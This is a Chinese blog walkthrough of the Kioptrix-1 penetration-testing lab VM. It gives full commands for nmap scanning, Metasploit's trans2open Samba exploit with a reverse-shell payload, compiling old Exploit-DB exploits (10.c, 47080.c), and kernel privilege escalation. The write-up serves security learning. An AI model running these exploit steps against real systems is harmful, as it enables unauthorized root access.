Kioptrix-1靶机渗透

免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。


信息搜集

这次靶机竟然到了VM里面,那么就简单多了,配置的也是默认的桥接模式,直接开扫:

nmap -sn 10.144.71.0/24

nmap -sV -p- 10.144.71.2

这里涉及到了我打靶过程中未涉及到的端口:

image

有一个139的端口,写的是Samba,Gemini给出的解释如下:

Samba 就像是不同操作系统(比如 Windows 和 Linux)之间的“翻译官”和“搬运工”。

端口解释

核心功能:跨平台共享

在默认情况下,Windows 使用的是 SMB【(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务】/CIFS 【指代 SMB 1.0 的一个变体,现已淘汰】协议来分享文件和打印机,而 Linux/Unix 使用的是不同的机制。 Samba 的出现,让 Linux 系统能够“说” Windows 的语言。

  • 文件共享:我们可以像访问电脑自带的 D 盘一样,在 Windows 上通过网络路径直接打开 Linux 里的文件夹。

  • 打印共享:让多台电脑通过网络共同使用连接在 Linux 服务器上的打印机。

Samba 的主要组件

它主要由两个后台进程(守护进程)组成:

  1. smbd:负责核心工作。处理文件传输、权限验证、打印服务。

  2. nmbd:负责“点名”。它能让我们的 Linux 服务器在 Windows 的“网络邻居”里显身。

总结:
Samba 是连接 Windows 与 Linux 的桥梁。如果我们在扫描中发现 445或139 端口 开放且运行着 Samba,通常意味着我们找到了一个进入目标系统文件层的大门


获取Samba版本

知道了这个之后再回到我们的靶机中,先直接访问web端没有发现什么东西,whatweb也没找到啥,那么再扫个目录看看(https因为兼容性问题dirsearch扫不了):

dirsearch -u https://10.144.71.2/

image

看了一眼没什么有用的,那么回到我们之前讲的Samba,这台靶机是09年左右的,那么估计大概率有相应的漏洞,网上搜索一下Samba历史漏洞,可以看到最新的是CVE2025,那么肯定有更古早的,所以就需要我们去知道这台靶机上的Sanmba版本是多少

但是之前用nmap扫出的version中并未显示,那这时候又要用到渗透领域最高的山MSF了,这里面有非常成熟的辅助系统:

msfconsole

search smb version

之后MSF 会列出所有包含这两个词的模块,我们需要的是辅助模块,这里还得讲一下目录结构:

目录层级 含义 例子
auxiliary 辅助模块 扫描、嗅探、指纹识别、拒绝服务。
scanner 扫描器 专门用于对大量目标进行探测。
smb 协议名 针对 SMB 协议的工具都在这里。
smb_version 具体功能 顾名思义,就是看版本的。
因此看到 auxiliary/scanner/... 开头的,通常就是我们要找的“辅助扫描/探测”工具:

image

这里就是103

然后MSF还有一个功能是Tab补全:

  • 输入 use auxiliary/ 然后按两次 Tab,它会列出所有辅助分类(如 scanner, admin, pdf 等)。

  • 输入 use auxiliary/scanner/两次 Tab,它会列出所有可扫描的服务(如 smb, http, ssh, mysql 等)。

  • 输入 use auxiliary/scanner/smb/两次 Tab,你就会看到 smb_version 赫然在列。

这里就不赘述了,我们直接use 103

#看下要设置哪些
show options
 
set rhosts 10.144.71.2

run

image

扫描出来的结果是Samba2.2.1a。


漏洞利用之Samba提权

网上搜一搜,结果是trans2open(CVE-2003-0201):Samba 处理 Trans2 Open 请求时发生的远程栈溢出漏洞,通过它可以实现 远程无认证 root 代码执行(RCE),search一下:

searchsploit --cve 2003-0201

image

如何选择exp

这时候就会出现一个问题,明明已经是一个确定的CVE为啥还有这么多exp,原因有以下两点:

  • 不同的目标平台和架构 Samba 是跨平台的(Linux、FreeBSD、OpenBSD、Solaris、OSX/PPC 等)。虽然漏洞核心(trans2.c 中的 call_trans2open 函数栈溢出)一样,但不同操作系统/CPU 架构的栈布局、返回地址(EIP)、内存保护机制完全不同。 所以需要单独的 exploit 版本:Linux x86、BSD x86、Solaris SPARC、OSX 等。我们在searchsploit 里看到的一堆,就是针对这些不同平台的。
  • 不同的实现方式和特性
    • Metasploit 模块:封装好、支持 brute force 返回地址(自动尝试多个可能地址,提高成功率)、支持多种 payload(reverse shell、meterpreter 等)、易配置。
    • 手动 C 语言 exploit(如 sambal.c、trans2root.pl 的衍生版、7.pl 等):早期 PoC(概念验证),有的支持扫描网络、有的带 backdoor shellcode、有的更 stealth(隐藏痕迹)、有的优化了 shellcode 避免 null bytes。
    • 不同作者:漏洞公开后,很多人基于最初的 trans2root.pl 或 sambal.c 进行修改、添加功能、适配新系统、修复 bug 等,导致变种很多。
    • 不同 shellcode:有些直接 bind shell(在目标开端口),有些 reverse shell(反弹回攻击机),有些带编码(绕过过滤)。

既然这样的话,我们如何自行确定到底选取哪个exp进行呢?

用 searchsploit 筛选

searchsploit samba 2.2          # 看标题里有 Linux / x86 的
searchsploit --cve 2003-0201 | grep -E 'linux|x86'

优先看路径里带 linux_x86 或 multiple(通用)的:

  • linux_x86 = 明确针对 Linux + 32位 x86 架构 优化的 exploit。
  • 它里面包含了专门为 Linux x86 系统准备的返回地址(return address)、栈布局适配、shellcode(通常是 Linux x86 的 reverse/bind shell)。
  • Samba trans2open 漏洞虽然原理一样,但不同架构/操作系统,内存地址、寄存器、栈对齐方式完全不同
    • Linux x86 的返回地址不能直接用在 OSX、BSD、Solaris 上,反之亦然。
    • Kioptrix 1 就是 Red Hat Linux(老内核 2.4.x) + x86 32位,所以 linux_x86/remote/16861.rb(Metasploit 的 trans2open)几乎是“为它量身定做”的。

multiple

  • multiple = 跨平台 / 通用版本,通常是早期写的 C/Perl exploit(如 multiple/remote/10.c)。
  • 它不绑定单一平台,往往内置了多个返回地址(brute force)或支持 Linux + BSD 等常见组合。

优先选择 Metasploit 模块

  • 内置 brute force(自动试多个返回地址,成功率高)。
  • payload 灵活(reverse_tcp 最稳)。
  • 维护好,参数清晰。 Kioptrix 1 上几乎所有 walkthrough 都直接用这个模块,一键 root。

如果 MSF 不行或想手动

  • 看 Exploit-DB 里的描述(searchsploit -p 或去 exploit-db.com 看详细)。
  • 优先选最近更新或有“Linux x86”明确标注的 .c 文件。
  • 编译运行前读代码注释(很多老 exploit 会有 usage、支持的平台、-b 参数表示 brute force)。
  • 测试时从小 payload 开始,观察是否 crash、是否反弹成功。

MSF提权

因此这里面我们直接选用MSF进行提权

search trans2open

use 1

set rhosts 10.144.71.2

run

但是跑的时候有个问题就是一直在写溢出文件,没有连上shell,那么得去看一下这个exp的详细信息了,这里又有一个用MSF的技巧【得先加载我们需要的模块】:

命令 作用说明 推荐使用时机
show options 显示需要设置的参数(RHOSTS、LHOST、RPORT 等) 每次加载后必看
show targets 显示支持的目标系统/版本(这个 trans2open 通常只有一个 brute force) 确认是否适合我们的目标
show payloads 显示这个 exploit 可搭配的所有 payload 选择 shell_reverse_tcp 时用
info 显示模块的详细介绍、作者、CVE、参考链接等 想全面了解 exploit 时
info -d 显示更详细的信息(包括模块源码描述) 想看深入说明
show advanced 显示高级选项(一般不用) 需要微调时

在这里我们需要查看更加详细的信息:

屏幕截图 2026-04-10 190634

这里就是说我们要自己设置一个payload,因为这个exp只负责触发 Samba 的 trans2open 缓冲区溢出,让程序的返回地址跳转到我们控制的区域,而转过去之后执行的操作便是我们要自行设定的payload,这里就是设置一个反弹shell:

set PAYLOAD linux/x86/shell_reverse_tcp

最后再run一下,我这里返回了三个session:

屏幕截图 2026-04-10 190043

直接一键root,没有flag,因此到这里就结束了。

这里其实有一个问题是按正常来讲我们肯定得搞一个交互式shell,但是输出常用的python命令会报错:

屏幕截图 2026-04-10 193126

这个涉及到了靶机的兼容性问题,可以换一个方式

/bin/bash -i

bash -i

之后就能正常显示了


在exp中其实有这么一个前提条件:

屏幕截图 2026-04-10 190043

简单来说就是允许匿名访问 IPC$ 共享(Anonymous access to IPC$),这样攻击者通过匿名方式发送特殊的 Trans2 Open 请求,才能触发 call_trans2open() 函数里的栈缓冲区溢出,既然这个exp能打通就说明是默认开启共享的,但我们还是要进行验证一下。

这里用的工具是smbclient
smbclient 是一个基于 [Samba 套件]的命令行客户端程序,用于在 Linux、Unix 等系统上以类似 FTP 的交互式方式,访问 [Windows 共享文件夹]或 SMB/CIFS 服务器(如 NAS)上的文件、目录和打印机资源,我们输入以下命令:

smbclient -L 10.144.71.2 -N

屏幕截图 2026-04-10 192420

可以看到是允许匿名访问的,进行IPC连接:

smbclient //10.144.71.2/IPC$ -N

进去之后也没啥可以利用的,好多命令都执行不了...


C文件编译提权

看了一下别的师傅写的walktrough,其中有一个是直接nmap扫出来一个CVE,命令是这样的:

# 使用nmap脚本目录中所有文件名带smb字样的脚本进行扫描 
nmap -p 139 --script=*smb* 10.144.71.2

这里script那里的参数会让 nmap 自动加载所有名称中包含 “smb” 的 NSE 脚本,其中就有相应的漏洞检测脚本:

屏幕截图 2026-04-10 193853

这里扫出来的是CVE2009的,看了一下好像没有什么用,最后也是回到了之前2003的exp中,但是用的是RCE的那个

屏幕截图 2026-04-10 201201

看一眼具体内容,输入以下命令获得exp的URL地址:

searchsploit -w multiple/remote/10.c

#下载到本地
searchsploit -m multiple/remote/10.c

看了一眼没有编译说明,那就直接gcc编译:

gcc 10.c -o exp

屏幕截图 2026-04-10 202258

...版本太老报错了:

  • conflicting types for ‘usage’
    • 第 179 行提前声明了 void usage();(无参数)
    • 第 190 行实际定义却是 void usage(char *prog)(带一个参数) → 函数声明和定义不一致。
  • conflicting types for ‘shell’
    • 第 178 行声明 void shell();(无参数)
    • 第 485 行实际定义是 void shell(int sock)(带 socket 参数) → 同样,声明和定义类型冲突
  • signal(SIGUSR1, handler) 的 incompatible pointer type
    • handler() 函数定义为 void handler()(无参数)
    • 但 signal() 函数要求信号处理函数必须是 void (*)(int) 类型(必须接收一个 int 参数,表示信号编号) → 类型不匹配,GCC 现在警告/报错了(老 GCC 可能只是 warning)

修改一下178~180和530参数:

vim 10.c

#显示行数
:set number

void shell(int sock);
void usage(char *prog);
void handler(int sig);   // 注意这里要加 int sig

#可以用:530 快速查看
void handler(int sig)

后面就能正常编译了,进行提权:./exp -b0 10.144.71.2

屏幕截图 2026-04-10 203223

发现在/var/mail中还有真正的结尾:

屏幕截图 2026-04-10 205909


漏洞利用之SSL提权

之前nmap扫的时候显示mod_ssl的版本为2.8.4,找找这个是否也有相应的exp:

searchsploit mod_ssl 2.8  

分别看一下内容,并尝试编译,最后成功的是47080.c,先看一眼具体的exp,给出的编译指令:gcc 47080.c -o 47080 -lcrypto

屏幕截图 2026-04-10 211116

也是差不多的使用方法:

./47080 0x6b 10.144.71.2 443 -c 50

这里0x6a不行,可能是地址不一样的问题,这个exp作为栈溢出要精确的地址才能劫持控制流。

然后这里获得的是一个低权限root,后面进行的是内核提权【SUID尝试之后发现不行】
是CVE-2003-0127 — Linux Kernel 2.2.x / 2.4.x (RedHat) ptrace/kmod Local Root Exploit 自己来一遍就好了,exp还是比较显眼的,传到目标靶机中后编译运行即可。


总结

本次靶机的话主要还是工具的使用,通过本次实践可以加深对MSF工具的理解,并且学习到了新的端口协议,对exp如何进行选择和判断,以及不同方向的漏洞利用等,又是收获颇丰的一天ing~★,°:.☆( ̄▽ ̄)/$:.°★

posted @ 2026-04-10 21:51  ShoreKiten  阅读(28)  评论(0)    收藏  举报